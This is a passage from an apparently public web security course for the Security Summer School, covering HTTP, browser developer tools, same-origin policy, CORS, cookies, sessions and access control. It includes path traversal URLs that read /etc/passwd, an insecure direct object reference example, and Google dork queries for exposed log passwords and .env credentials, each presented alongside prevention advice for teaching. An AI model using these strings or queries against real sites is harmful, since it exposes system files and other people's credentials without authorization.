This is the multi-page printable view of this section. Click here to print.

Return to the regular view of this page.

  • 1:
  • 2:
  • 3:
  • 4:
  • 5:
  • 6:
  • 7:
  • 8:
  • 9:
  • 10:
  • 11:
  • 12:

SSS Web Security

This is the public repository for the Web Security track of the Security Summer School (SSS). It contains information available to participants: session content, slides, activities support files. Apart from SSS participants, you can use this content by yourself to learn more about Web Security.

Using the Content

As with all SSS tracks, the Web Security track consists of multiple sessions. One session typically covers a particular topic of the track. Ideally you would go through the sessions orderly, but you can jump ahead to a topic of interest.

Each session has its own folder. The index.md file from a session folder details the topic of the session and includes practical demos of tools and snippets of code.

After reading the session contents, jump to the hands-on activities. A typical activity will challenge you to solve / exploit a given issue and obtain a flag. Read the activity description in the session contents and then use the activity support file to get to a solution. Each activity will develop your practical skills and help you get a better understanding of the session topics.

Activities come in two forms:

  • tutorials: that provide a step-by-step detailing of the solution.
  • challenges: that only state the goal and provide an initial skeleton (and maybe some hints), then the rest is up to you. Even so, challenge activity folders store the reference solution for you to take a sneak peak in case you’re lost.

Support

In case you have questions or want to know more about a topic, use the the Discussions tab or join the SSS Discord community.

Session Folder Structure

A session folder consists of:

  • index.md: session contents, written in GitHub Markdown
  • activities/: each activity has its own folder with support files (including the reference solution)
  • assets/: support files for session contents (images, diagrams, code snippets, packet captures, etc.)
  • slides/: session slides

Activity Folder Structure

An activity folder consists of:

  • public/: support file for the activity: binary files, helper scripts, packet captures etc.
  • sol/: the reference solution of the activity. Tutorial activities feature a README.md file in the solution folder, with a detailing of the solution.

Contributing

Contributions are welcome. See the contribution guide on how you could report or fix issues and on how you can improve the content.

Reviewers are requested to follow the reviewing guide.

For in-depth discussions, please join the SSS Discord community.

1 -

Introduction


As the World Wide Web’s high-level topology consists mainly of personal computing devices (e.g. desktops, laptops, mobile devices) making HTTP requests to web servers, the general field of web security consists of three main sub-fields: client-side security (i.e. browser security), communications security and server-side security, or web application security. This lab and the following will focus on the first sub-field, although they might provide some general information on the former two.

The design of web applications, and their security in particular is influenced by the following characteristics:

  • Statelessness: by default HTTP is a simple request-response protocol maintaining no state between successive communications. This shortcoming led to the design of cookies, which are small pieces of information exchanged between the client and the web application. The type of information exchanged using cookies needs to be carefully chosen, as a malicious client could possibly attempt to send back a malformed or forged cookie; additionally, cookies most often (but not always) represent confidential data, which means that they should only be transferred over a secure channel (i.e. HTTPS).

  • Message format: HTTP requests have a specific format, namely they comprise plain-text header and data (although newer improvements also implement a binary protocol). The header contains various information about the client or the server (e.g. a user-agent, page caching information, text encoding information), while the payload is very often (but not always) an HTML page.

  • Addressing: resources on the web are located using the URI/URL addressing scheme. Possible vulnerabilities here include a misconfigured web server that allows viewing application-specific files, or worse, that allows accessing other files on the host machine. While this information leakage is not very dangerous by itself, it may be used as an intermediary stage for other attacks. You can read more about URLs here [1].

  • Request methods: HTTP communication is done by using methods, also called HTTP verbs. The most used methods are GET, POST, PUT and DELETE. The GET method is read-only and is used to retrieve data from the server. A DELETE request is used to remove the specified resource from the server. The PUT method is used to modify an entire resource. POST requests are used to create new resources. You can find more information about all methods here [2].

While the client is provided with HTML, JavaScript, CSS pages, modern web applications are implemented using general-purpose scripting or programming languages, e.g. PHP, Java, Python, Ruby, etc. and centralize their data using database systems such as MySQL. Faulty back-end code can in itself provide a more dangerous attack surface to potentially malicious clients.

Client - Server

Web Applications Today

Dynamic websites provide tailored user experiences based on information known or given by the user. The user usually has to authenticate to access the website and is authorized to use the services it provides. In this case, the dynamic website contains information about the user, and there is therefore a great deal more for the attacker to steal. The fundamental difference to static web pages is that a dynamic webpage/website contains functionality that can be compromised. Breaching the security of the server itself is no longer necessary. It is sufficient to discover the security hole in the dynamic website functionality. We, therefore, need to look at the security of a web application itself. A dynamic website can be considered to be a web application.

Web applications introduce a new range of threats, or a new security perimeter, to put it another way. Depending on the setup, web applications are commonly located in an internal network or in the demilitarized zone, which therefore renders network level defenses ineffective. Network, services and operating system level defenses may have been perfectly set in place, but the system would still be vulnerable to a break-in. Web applications commonly interact with internal systems, such as database servers. The network level firewall could be blocking all traffic, but for web applications, it will have to allow HTTP and HTTPS traffic. An attacker might therefore be able to bypass all network-level defenses.

Types of Vulnerabilities

These days, web applications are very complex being composed of multiple libraries, frameworks and using multiple external services. Each component can have vulnerabilities. Types of vulnerabilities:

  • System vulnerabilities - applications or services that run inside an Operating System or an Operating System vulnerability
  • Runtime vulnerabilities - when one of the components (frameworks such as PHP, Java, Python, WordPress, etc.) of the web application is vulnerable leads to a risk.
  • Browser vulnerabilities - occasionally attackers will discover a vulnerability in the browser itself that allows execution of arbitrary binary code when a user simply visits a compromised site. Browsers are complex pieces of machinery with many subsystems (HTML rendering, JavaScript engine, CSS parser, image parsers, etc.), and a small coding mistake in any of these systems could offer malicious code just enough of a foothold to get running.
  • Vulnerabilities in web application implementation - here we can talk about OWASP Top Ten vulnerabilities [3].

HTTP (Hypertext Transfer Protocol)

HTTP Request / Response

Communication between clients and servers is done by requests and responses:

  • A client (a browser) sends an HTTP request to the web
  • An web server receives the request
  • The server runs an application to process the request
  • The server returns an HTTP response (output) to the browser
  • The client (the browser) receives the response

HTTP - Request

HTTP - Response

Basic format of the request:

VERB /resource/locator HTTP/1.1
Header1: Value1
Header2: Value2

Header is separated from the body by 2 CRLF sequences

Request Headers:

  • Host: Indicates the desired host handling the request
  • Accept: Indicates what MIME type(s) are accepted by the client; often used to specify JSON or XML output for web-services
  • Cookie: Passes cookie data to the server
  • Referer: Page leading to this request (note: this is not passed to other servers when using HTTPS on the origin)
  • Authorization: Used for basic auth pages (mainly). Takes the form “Basic <base64’d username:password>”

HTTP Request Circle

A typical HTTP request / response circle:

  1. The browser requests an HTML page. The server returns an HTML file.
  2. The browser requests a style sheet. The server returns a CSS file.
  3. The browser requests a JPEG image. The server returns a JPG file.
  4. The browser requests JavaScript code. The server returns a JS file
  5. The browser requests data. The server returns data (in XML or JSON).

XHR - XMLHttpRequest

All browsers have a built-in XMLHttpRequest Object (XHR). XHR is a JavaScript object that is used to transfer data between a web browser and a web server. XHR is often used to request and receive data for the purpose of modifying a web page. Despite the XML and HTTP in the name, XHR is used with other protocols than HTTP, and the data can be of many different types like HTML, CSS, XML, JSON, and plain text.

The XHR Object is a Web Developers Dream, because you can:

  • Update a web page without reloading the page
  • Request data from a server - after the page has loaded
  • Receive data from a server - after the page has loaded
  • Send data to a server - in the background

The XHR Object is the underlying concept of AJAX and JSON:

XMLHttpRequest

HTTP Response Codes

  • 1xx -> Informational responses
  • 2xx -> Successful responses
  • 3xx -> Redirects
  • 4xx -> Client errors
  • 5xx -> Server errors

xx = [00, 01 … 99]

URL (Uniform Resource Locator)

With Hypertext and HTTP, URL is one of the key concepts of the Web. It is the mechanism used by browsers to retrieve any published resource on the web.

URL stands for Uniform Resource Locator. A URL is nothing more than the address of a given unique resource on the Web. In theory, each valid URL points to a unique resource. Such resources can be an HTML page, a CSS document, an image, etc. In practice, there are some exceptions, the most common being a URL pointing to a resource that no longer exists or that has moved. As the resource represented by the URL and the URL itself are handled by the Web server, it is up to the owner of the web server to carefully manage that resource and its associated URL.

A URL incorporates the domain name, along with other detailed information, to create a complete address (or “web address”) to direct a browser to a specific page online called a web page. In essence, it’s a set of directions and every web page has a unique one.

URL

Special characters are encoded as hex:

  • %0A = newline
  • %20 or + = space, %2B = + (special exception)

Browser

A web browser (commonly referred to as a browser) is a software application for accessing the information on the World Wide Web. When a user requests a web page from a particular website, the web browser retrieves the necessary content from a web server and then displays the page on the screen.

A list of Web Browsers: Google Chrome, Mozilla Firefox, Edge, Internet Explorer, Safari, Opera, Netscape, etc.

Browser execution model

Each browser windows or frame:

  • Loads content
  • Renders it
    • Processes HTML and scripts to display page
    • May involve images, subframes, etc.
  • Responds to events such as:
    • User actions: OnClick, OnMouseover
    • Rendering: OnLoad, OnBeforeUnload
    • Timing: setTimeout(), clearTimeout()

browser-analogy

Examples of browser vulnerabilities:

Developer Tools

Modern browsers, such as Google Chrome, Mozilla Firefox and Microsoft Edge, include some functionality aimed at developers for easier debugging, testing and previews. Anyone can use these tools to look at the internals of a web page. As a security professional, or even a hobbyist, these instruments provide you with insightful information about the inner workings of any web application out there. Even if it can only show the front-end code, it can create an overview of the structure and maybe reveal valuable details, such as the traffic sent from and received by the client.

In order to open these tools, you can press F12 while navigating a web page in any browser mentioned, or by using Mouse Right Click and selecting the Inspect Element option. The latter lets you select which part of the page should be in focus when inspected.

Alternatively, you can see the entire HTML code of a web page by selecting View Page Source in the Mouse Right Click context menu.

Next, some of the core functionalities of these tools will be detailed (some names may vary slightly across browsers, but the functionality is mainly the same, so we will focus in Google Chrome here):

  • Elements: In this tab you can see the HTML structure of the page. On the right panel, you can see the styles applied to each element when selected and add, remove or edit the properties directly from there. This kind of inspection could lead to the discovery of hidden elements which can be toggled into view by altering the CSS code or could lead to the discovery of commented pieces of code which could contain sensitive data. Also, the DOM (Document Object Model) structure of the page can be altered, and elements can be added or removed, such as scripts, input fields, etc. (any element in fact), which means that any JavaScript code used to sanitize user input or perform other functions can be bypassed.

Elements - Developer Tools

  • Console: The console prints errors which occurred during page rendering or during any action performed on the page, such as, but not limited to, error loading an image not found, error while performing an asynchronous request to fetch data, missing included file (such as CSS or Javascript files), errors in Javascript code from the included scripts, debug messages left by the developer, etc. The console also has the ability to run any Javascript code by typing it directly there and interacting with the page.

Console - Developer Tools

  • Sources: This tab lets you see any file loaded in the front-end, such as images, JS, CSS etc. in an arborescent way. This could be a good tool to inspect the JS scripts included in the current page. They could reveal possibly valuable information, such as hidden paths or resources, or even critical pieces of functionality, which, if understood, could lead to successful exploits.

Sources - Developer Tools

  • Network: The network tab shows detailed information about every file loaded and every request and response made by the page. You can find in-depth info about the HTTP requests, such as HTTP parameters, HTTP methods (GET, POST), HTTP status codes (200, 404, 500, etc.), loading time and size of each loaded element (image, script, etc). Furthermore, clicking on one of the requests there, you can see the headers, the preview, the response (as raw content) and others. This is useful for listing all the resources needed by a page, such as if there are any requests to APIs, additional scripts loaded, etc.

Network - Developer Tools

  • Application: This tab lets you see some specific data about the page, such as cookies (which will be covered in depth in the next section), local storage, session storage, cache, etc. This can be useful to see which data is stored on the client-side and it may contain useful values.

Application - Developer Tools

  • Security: Detailed information about the protocol used (HTTP or HTTPS) and the website certificates. Insecure websites can be vulnerable because HTTP sends data in plain text across the connection, which may be intercepted (e.g. Man in the Middle).

Security - Developer Tools

DOM (Document Object Model)

The Document Object Model connects web pages to scripts or programming languages by representing the structure of a document, such as the HTML representing a web page, in memory. Usually, that means JavaScript, although modeling HTML, SVG, or XML documents as objects are not part of the core JavaScript language, as such.

Object-oriented interface used to read and write docs

  • Web page in HTML in structured data
  • DOM provides a representation of this hierarchy

The DOM represents a document with a logical tree. Each branch of the tree ends in a node, and each node contains objects. DOM methods allow programmatic access to the tree. With them, you can change the document’s structure, style, or content.

Nodes can also have event handlers attached to them. Once an event is triggered, the event handlers get executed. DOM is an application programming interface. Use the DOM when we interact with web pages.

  • Add content to a HTML document
  • Delete content from a HTML document
  • Change Content on a HTML document

Every element within your document is an object: <head> tag, <body> tag, etc. In javascript we can call methods on objects, we can call properties on objects in order to change the objects.

DOM

We can introduce nodes, all objects are nodes. We can change the nodes, we can interact with them, create Animations, validations, etc.

The Document interface represents any web page loaded in the browser and serves as an entry point into the web page’s content, which is the DOM tree. The DOM tree includes elements such as body and table, among many others. It provides functionality globally to the document, like how to obtain the page’s URL and create new elements in the document.

DOM

  • Object-oriented interface used to read and write docs
  • Web page in HTML is structured data
  • DOM provides a representation of this hierarchy

Examples

  • Properties: document.alinkColor, document.URL, document.forms , document.links[], document.anchors
  • Methods: document.write(document.referrer)

Includes Browser Object Model (BOM)

  • window, document, frames[], history, location, navigator (type and version of the browser)

MIME (Multipurpose Internet Mail Extensions)

MIME is a specification for the format of non-text e-mail attachments that allows the attachment to be sent over the Internet. MIME allows your mail client or Web browser to send and receive things like spreadsheets and audio, video and graphics files via Internet mail. By default, many web servers are configured to report a MIME type of text/plain or application/octet-stream for unknown content types. As new content types are invented or added to web servers, web administrators may fail to add the new MIME types to their web server’s configuration. This is a major source of problems for users of Gecko-based browsers, which respect the MIME types as reported by web servers and web applications. Here you can find an example for this type of vulnerability. [4]

MIME Sniffing - The browser will often not just look at the Content-Type header that the server is passing, but also the contents of the page. If it looks enough like HTML, it’ll be parsed as HTML. => This led to IE 6/7-era bugs where image and text files containing HTML tags would execute as HTML (not so common anymore).

Encoding Sniffing - the encoding used on a document will be sniffed by browsers. If you don’t specify an encoding for an HTML document, the browser will apply heuristics to determine it. If you are able to control the way the browser decodes text, you may be able to alter the parsing.

Security Mechanism

Isolation - Frames, HTML Sandboxing

Frame and iFrame

Windows may contain frames from different sources

  • Frame: rigid division as part of frameset
  • iFrame: floating inline frame

iFrame example:

<iframe src="simple_iframe.html" width=450 height=100>
if you can see this, your browser doesn't understand IFRAME.
</iframe>

BrowserSecurityMechanism

Why use frames?

  • Delegate screen area to content from another source
  • Browser provides isolation based on frames
  • Parent may work even if frame is broken

In order to play a little bit with iframes follow the next instructions:

  1. user@hostname~$: sudo apt install nginx
  2. Change index.html file content with the above code
  3. user@hostname~$: sudo service nginx start
  4. Access the browser as http://localhost
  5. Solve the problem in order to see the iframe

ComponentsBrowserSecurityPolicy

HTML Sandboxing

The sandbox attribute enables an extra set of restrictions for the content in the iframe.

When the sandbox attribute is present, and it will:

  • treat the content as being from a unique origin
  • block form submission
  • block script execution
  • disable APIs
  • prevent links from targeting other browsing contexts
  • prevent content from using plugins (through <embed>, <object>, <applet> or others)
  • prevent the content to navigate its top-level browsing context
  • block automatically triggered features (such as automatically playing a video or automatically focusing a form control)

Add the below HTML code in the same index.html as above:

<iframe src="sandbox_iframe.html" sandbox width=450 height=100>
if you can see this, your browser doesn't understand SANDBOX IFRAME.
</iframe>

Access the page via browser http://localhost.

The value of the sandbox attribute can either be just sandbox (then all restrictions are applied), or a space-separated list of predefined values that will REMOVE the particular restrictions.

Same-origin Policy

The same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin. It helps isolate potentially malicious documents, reducing possible attack vectors.

In order to understand how the policy works, you also need to understand what is an origin. Two URLs have the same origin if the protocol, port (if specified), and host are the same for both. To better understand this, follow the table below:

URLOutcomeReason
http://store.company.com/dir2/other.htmlSame originOnly the path differs
http://store.company.com/dir/inner/another.htmlSame originOnly the path differs
https://store.company.com/page.htmlFailureDifferent protocol
http://store.company.com:81/dir/page.htmlFailureDifferent port (http:// is port 80 by default)
http://news.company.com/dir/page.htmlFailureDifferent host

Why is this important?

Assume you are logged into Facebook and visit a malicious website in another browser tab. Without the same origin policy JavaScript on that website could do anything to your Facebook account that you are allowed to do. For example read private messages, post status updates, analyse the HTML DOM-tree after you entered your password before submitting the form.

But of course Facebook wants to use JavaScript to enhance the user experience. So it is important that the browser can detect that this JavaScript is trusted to access Facebook resources. That’s where the same origin policy comes into play: If the JavaScript is included from a HTML page on facebook.com, it may access facebook.com resources.

Now replace Facebook with your online banking website, and it will be obvious that this is an issue.

Is this always the case, to access only resources on the same origin?

The most prevalent myth about Same-origin Policy is that it plainly forbids a browser to load a resource from a different origin. Though we know that the thing that makes today’s web technologies so rich and colorful is the content loaded from different origins. The presence of a huge content delivery network (CDN) ecosystem proves this is not true.

Another prevalent myth is that an origin cannot send information to another one. That is also not true. Again we know that an origin can make a request to another one. The information of the forms in one origin can be reached from another origin. If we think of cloud payment systems integrated into a business workflow, these often operate by sending requests to another origin. Even one of the most common web vulnerabilities, Cross-Site Request Forgery (CSRF), arises from that point. CSRF is possible because of the ability of sites to make requests to each other. This topic will be covered in a separate session more in-depth.

CORS

Cross-Origin Resource Sharing (CORS) is a mechanism that uses additional HTTP headers to tell browsers to give a web application running at one origin, access to selected resources from a different origin. A web application executes a cross-origin HTTP request when it requests a resource that has a different origin (domain, protocol, or port) from its own.

An example of a cross-origin request: the front-end JavaScript code served from https://domain-a.com uses XMLHttpRequest (AJAX) to make a request for https://domain-b.com/data.json.

For security reasons, browsers restrict cross-origin HTTP requests initiated from scripts. For example, XMLHttpRequest follows the same-origin policy. This means that a web application using those APIs can only request resources from the same origin the application was loaded from unless the response from other origins includes the right CORS headers.

The CORS mechanism supports secure cross-origin requests and data transfers between browsers and servers. Modern browsers use CORS in APIs such as XMLHttpRequest to mitigate the risks of cross-origin HTTP requests. The CORS header is added by the server to the response.

CORS Header Syntax:
Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: <origin>
Access-Control-Allow-Origin: null
Access-Control-Allow-Origin: https://developer.mozilla.org

CORS

Talking to web sites

Let’s go through the basics of how HTTP requests are made, using telnet to form requests. First, let’s connect to the vulnerable web server:

user@hostname~#: telnet 141.85.224.157 80

Now let’s issue a simple GET. The request is composed of:

  • GET
  • followed by other header contents
  • followed by an additional newline, indicating the end of the request.

Please note the above bullet points and the fact that you need to provide an additional newline to indicate the end of the request.

GET / HTTP/1.0
HEAD / HTTP/1.0
POST / HTTP/1.0

The server’s response contains:

  • A status code (200 OK in our case)
  • Date information and information about the server
  • Encoding and other info about the data, i.e. it’s MIME-type
  • The length of the data
  • The actual data

Tools

Postman

Postman is a tool through which you can send HTTP requests. It can automate tests and integrate them into CI/CD pipeline. You can simulate endpoints to test without having to set up a backend. It can also monitor certain endpoints to check their health and performance. [6]

HTTPie

HTTPie is also used to send HTTP requests. It can be used in the terminal, instead of utilities such as curl and wget. It has an easy syntax, comes with highlighting and JSON assets. [7]

Hoppscotch

Hoppscotch is a tool that you can use from your browser or as a browser extension to quickly test certain endpoints. It also supports MQTT or GraphQL requests. [8]

Further Reading

Activities

1. The below image represents a snippet with DevTools containing information about a web application. What can you discover in the next image ? Is there any useful information from a security point of view ? Write the answer to the instructor.

FirstActivity

2. Cockroach
3. Gimme
4. Surprise
5. My Special Name
6. Lame Login
7. Eyes
8. Name
9. Readme
10. King-Kong
11. Give to Get
12. Give to Post
13. One by One
14. Produce-consume

2 -

Introduction

In order to understand how to protect a web application, you need to understand how an attacker thinks. And in order to do that, you need to understand how a platform is built and what techniques are used to ensure minimum usability. As a first step, you can analyze web applications using readily available tools, such as the browser’s built-in Developer Tools. Further on, you can attempt to find more information about the basic mechanisms that enable the server to identify its clients and keep tabs on who they are (authentication) and what they are allowed to do (authorization), through the use of cookies and sessions.

Stateful HTTP: Cookies

As we mentioned in the previous session, HTTP is a stateless protocol used to communicate over the internet. This means that a request is not aware of any of the previous ones, and each request is executed independently. Given its stateless nature, simple mechanisms such as HTTP cookies were created to overcome the issue.

An HTTP cookie (also called web cookie, Internet cookie, browser cookie, or simply cookie) is a small piece of data sent from a website and stored on the user’s computer by the user’s web browser while the user is browsing. Cookies were designed to be a reliable mechanism for websites to remember stateful information (such as items added in the shopping cart in an online store) or to record the user’s browsing activity (including clicking particular buttons, logging in, or recording which pages were visited in the past). They can also be used to remember pieces of information that the user previously entered into form fields, such as names, addresses, passwords, and credit card numbers.

Cookies

A cookie is a key=value pair stored in a text file on the user’s computer. This file can be found, for example, at the following path on a Windows 10 using Chrome:

C:\Users\Your User Name\AppData\Local\Google\Chrome\User Data\Default\Cookies

An example of cookies set for a website could be:

  • username=admin
  • cookie_consent=1
  • theme=dark

The first cookie stores the username, so it can be displayed to the user without querying the database. The second one stores the choice made by the user regarding the cookie consent, so the application would not continue to show the message every time. Finally, the third one stores which theme was selected (in this case, a dark theme).

Once a cookie has been set, the browser will send the cookie information in all subsequent HTTP requests until the cookie is deleted. Additionally, the cookie can have zero or more attributes, such as:

  • Domain and Path attributes define the scope of the cookies. These attributes tell the browser what website they belong to.
  • Same origin policy dictates that websites are only allowed to set cookies on their own domain. In other words, the www.example.com website is not allowed to set cookies on www.test.com and vice versa. A website is only able to control cookies that are within its own domain.
  • The Expires attribute defines when the cookie is deleted. Alternatively, the Max-Age attribute can be used to state the number of seconds after the cookie is to be deleted.
  • The Secure attribute defines that cookies should only be sent using secure channels such as HTTPS. Cookies with the Secure attribute should only be sent through a secure connection. This protects the application’s cookies against theft attempts.
  • The http-only attribute defines that cookie should be exposed only using HTTP or HTTPS channels. This means that the cookies with this attribute cannot be accessed via client-side scripting or other methods. This is a defense mechanism against some attacks.

Stateful HTTP: Sessions

As previously stated, HTTP is stateless. Therefore, it needs a mechanism to remember information from previous requests and associate it with a user for authentication purposes. The cookies are one way to achieve this. However, they are considered highly insecure because the user can easily manipulate their content. We cannot directly use them for authentication and other sensitive data. The solution to this problem is the session, which stores the data on the server, rather than the client. The session ID can be used as a means of communication.

How does a session work?

When accessing a website that uses sessions, each user is assigned a session ID. They are more secure than the previously mentioned method mainly because the data never leaves the server, so an attacker cannot alter it. Instead, the ID is used to uniquely identify each user and associate the respective information with them.

Sessions are usually short-lived, which makes them ideal for storing temporary states between pages. Sessions also expire once the user closes his browser or after a predefined amount of time (for example, 30 minutes).

The basic workflow is:

  1. The server starts a new session (sets a cookie via the HTTP Cookie header).
  2. The server sets a new session variable (stored on the server-side).
  3. When the client changes the page, it sends all the cookies in the request, along with the session ID from step 1.
  4. The server reads the session ID from the cookie.
  5. The server matches the session ID with the entries of a local list (in-memory, text file etc.).
  6. If the server finds a match, it reads the stored variables. For PHP, these variables will become available in the superglobal variable $_SESSION.
  7. If the server doesn’t find a match, it will create a new session and repeat steps 1-6.

Session lifecycle

Example of a session in PHP:

<?php
session_start(); // Start the session
$_SESSION['username'] = "John Doe"; 
$_SESSION['is_admin'] = true;
echo "Hello " . $_SESSION['username'];
?>

Example of a session in Python:

s = requests.Session()
s.get('https://httpbin.org/cookies/set/sessioncookie/123456789')
r = s.get('https://httpbin.org/cookies')

print(r.text)
# '{"cookies": {"sessioncookie": "123456789"}}'

One might consider that sessions are pretty secure. However, they won’t stop an attacker to intercept the cookie with the session ID, for example using a Man-in-the-Middle attack over an insecure Wi-Fi connection, and steal the session ID to use it. This won’t give them access to the values that are stored on the server, but they will be able to impersonate the user or perform actions on their behalf. This is known as session hijacking. You can read more on this subject here and here.

Authentication vs Authorization

Two concepts that usually make people confused are authentication and authorization. Both terms are often used in conjunction with each other when it comes to security and gaining access to the system. They are essential in almost every modern web application, as most of these apps need a way to uniquely identify their users using an account. These accounts can contain both personal information, available only to the logged in user, and public information, available to anybody. Based on the privilege level, users can have access to various functionalities, such as deleting other users, creating blog posts etc.

Fundamentally, authentication refers to who you are while authorization refers to what you can do.

Authentication is the process of verifying the identity of a person or device. A common example is entering a username and password when you log in to a website. Entering the correct login information lets the website know who you are and that it is actually you accessing the website.

There could be other methods of authentication, such as passcodes, biometrics (fingerprints), Two-Factor Authentication, etc. We won’t insist too much on these other methods, but it’s good to know they exist.

Authorization is a security mechanism to determine access levels or user/client privileges related to system resources including files, services, computer programs, data and application features. This is the process of granting or denying access to a network resource that allows the user access to various resources based on the user’s identity.

Real-life scenarios

Now imagine what would happen if someone obtains access to your Facebook account. Besides the previously public information, such as your name and your birthday, they can now view your friend lists, private conversations, or even impersonate you through a post. Although this situation won’t affect Facebook directly, it will certainly affect you.

What if someone were to gain access to an administrator account of a university? They could remove all the students, erase their grades and all the study materials. This would be a really nefarious incident that would destroy the institution’s reputation and will also affect you as a student.

This is why authentication and authorization are very important and their security is crucial.

Path Traversal

In many web applications, resources are accessed using a filename as a parameter. This file is processed and displayed to the client by the application. If the application does not verify the parameter, the attacker might be able to exploit the application and display an arbitrary file from the target system. Normally an attacker would try to access password or configuration files to gain access to the system. Obviously, server-side script files could be accessed to perform manual inspection for vulnerabilities. Consider the following URL:

http://example.com/view.php?file=image.jpg

If the attacker wants to investigate the view.php file for possible exploitable coding mistakes, he would try to use the script in order to open the file:

http://example.com/view.php?file=view.php

It is likely that images are stored in a subdirectory, so the attacker might have to access the parent directory:

http://example.com/view.php?file=../view.php or http://example.com/view.php?file=../../view.php

Depending on the system, a backslash could also be used:

http://example.com/view.php?file=..\..\view.php

An example of accessing system files:

http://example.com/view.php?file=../../../../etc/passwd

Path Traversal

Path Traversal Prevention

The application should not allow directory traversal or the accessing of arbitrary files. If the files to be accessed are known, the application should implement a mapping between the file and application-specific identifier. This identifier can be hardcoded in the application to prevent any malicious attempts to modify it.

If it is considered unavoidable to pass user-supplied input to filesystem APIs, then two layers of defense should be used together to prevent attacks:

  • The application should validate the user input before processing it. Ideally, the validation should compare against a whitelist of permitted values. If that isn’t possible for the required functionality, then the validation should verify that the input contains only permitted content, such as purely alphanumeric characters.
  • After validating the supplied input, the application should append the input to the base directory and use a platform filesystem API to canonicalize the path. It should verify that the canonicalized path starts with the expected base directory.

Below is an example of some simple Java code to validate the canonical path of a file based on user input:

File file = new File(BASE_DIRECTORY, userInput);` 
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {` 
// process file
}

Insecure Direct Object References

Insecure direct object reference vulnerability is similar to path traversal vulnerability. The application allows access to resources using an identifier that is controllable by the user. In this case, however, the identifier is not a file / path as is the case with path traversal.

Consider the following case where a user is able to view his own invoice:

http://www.example.com/view.php?invoice=24411

Now, by changing the invoice number the user might be able to access other invoices, including ones that are not his own, thereby gaining access to the sensitive information of other users. Obviously the application should enforce access control over the items to be accessed. If the application fails to do so, this would be a case of insecure direct object reference vulnerability.

When performing penetration tests, the application parameters should certainly be investigated by iterating through possible values and observing the responses.

Insecure Direct Object References

Insecure Direct Object References Prevention

First, you should control all normal, ajax and API requests when creating an application. For example, can a read-only user write anything in the app? Or can a non-admin user access and create API tokens that should only be created by an admin user? So, in order to test all the possible IDOR vulnerabilities, you should think like a hacker.

You can provide permissions on your application for all endpoints. If your privatesection endpoint includes the API requests such as /api/privatesection/admins, /api/privatesection/console, /api/privatesection/tokens, you can block the endpoint for non-admin users.

Moreover, to make the attacker’s job harder or prevent it altogether, you can use hash functions and hashed values instead of regular numbers and strings.

robots.txt: Preventing Caching

The robots.txt file provides a list of instructions for automated Web crawlers, also called robots or bots. Standardized at robotstxt, this file allows you to define, with a great deal of precision, which files and directories are off-limits to Web robots. The robots.txt file must be placed in the root of the Web server with permissions that allow the Web server to read the file. Lines in the file beginning with a # sign are considered comments and are ignored. Each line not beginning with a # should begin with either a User-agent or a disallow statement, followed by a colon and an optional space. These lines are written to disallow certain crawlers from accessing certain directories or files.

Each Web crawler should send a user-agent field, which lists the name or type of the crawler. The value of Google’s user-agent field is Googlebot. To address a disallow to Google, the user-agent line should read:

User-agent: Googlebot

According to the original specification, the wildcard character * can be used in the user-agent field to indicate all crawlers. The disallow line describes what, exactly; the crawler should not look at.

NOTE: Hackers don’t have to obey your robots.txt file. In fact, Web crawlers really don’t have to either, although most of the big-name Web crawlers will, if only for the “CYA” factor. One fairly common hacker trick is to view a site’s robots.txt file first to get an idea of how files and directories are mapped on the server. In fact a quick Google query can reveal lots of sites that have had their robots.txt files crawled. This, of course, is a misconfiguration, because the robots.txt file is meant to stay behind the scenes.

Sitemap.xml

The sitemap.xml is a simple XML page which could be available on some websites and provide a “roadmap” for Google to the important pages that need to be crawled. It’s a SEO (Search Engine Optimization) tool to help with the visibility of your website on the internet, but it could also be useful for a hacker, serving basically the same purpose: to give him a roadmap to every page.

Examples of Google Dorking

Explore LOG Files For Login Credentials

allintext:password filetype:log after:2019 - Finds exposed log files that might contain passwords.

allintext:username filetype:log - Finds logs that contain usernames.

Prevention: Do not allow Google to access important data of your website, by properly configuring robots.txt.

Explore Configurations Using ENV files

.env is used by various popular web development frameworks to declare general variables and configurations.

DB_USERNAME filetype:env
DB_PASSWORD filetype:enc=v

By using the command you can find a list of sites that expose their .env file on the internet. Developers may accidentally include the .env file in the public directory of the website, which can cause great harm if cyber criminals find it.

If you click into any of the exposed .env files, you will notice unencrypted usernames, passwords and IPs are directly exposed in the search results. Prevention: .env files should not be in a publicly accessible folder.

Wayback Machine

The Wayback Machine is a digital archive of the entire internet. It allows the user to go “back in time” and see what websites looked like in the past. For a hacker, it can be useful to see what information was displayed on a website a few months ago or even a few years ago.

Wrap-up

In this rapidly evolving world, the technologies we use change at a very fast pace. We need to constantly implement new systems to help solve the issues that arise. Since HTTP is stateless, dynamic web applications needed a way to preserve the state between requests, so they used cookies and sessions.

It’s very important to understand the difference between authentication and authorization. Almost every web application on the internet today has one form or another of authentication and authorization. Many frameworks and Content Management Systems provide built-in implementations of authorization and authentication to make the job of web developers easier.

Browser Extensions

Some browser extensions can make your life easier when interacting with the websites. Some examples would be:

Further Reading

Activities

1. Nobody loves me
2. Do you need glasses?
3. Chef hacky mchack
4. Santa
5. Great Names
6. Mind your own business
7. Beep Beep Boop
8. Let’s traverse the universe
9. Color

3 -

Securing Communication

Introduction

As part of this session, we look into how HTTP connections can be made secure, to prevent attacks that capture traffic, also called man-in-the-middle (MitM) attacks. The session is focused on understanding certificates and HTTPS and investigating configurations of existing setups.

Reminders and Prerequisites

HTTP (Hypertext Transfer Protocol) is the main protocol of the web. It has several characteristics:

  • it is plain text
  • it doesn’t maintain an active connection
  • it’s a request-response protocol
  • it provides a series of codes to mark the types of requests and replies
  • HTTP requests consists of paths (routes) that are mapped to resources

The lack of an active connection session is compensated by the use of cookies. Similarly, the plain text nature of the protocol means that anyone could read contents in HTTP network packets. This is alleviated by the use of HTTPS. Nowadays, most connections use HTTPS precisely because of the need for confidentiality.

In the previous session, you used web browsers and the Developer Tools feature of modern browsers to inspect traffic, update cookies, inspect rendered pages. GUI web browsers (such as Firefox, Chrome, Edge, Safari) provide the appealing interface for users to surf the web. For quick and dirty tasks such as testing connections, making requests and downloading large files, we use CLI web clients such as curl and wget. We will be using these in this session as well.

Confidentiality

Confidentiality is a security property that prevents captured data from being understood by an attacker. If an attacker captures data with confidentiality ensured, the attacker must not be able to extract actual information from it. Confidentiality is generally provided with encryption.

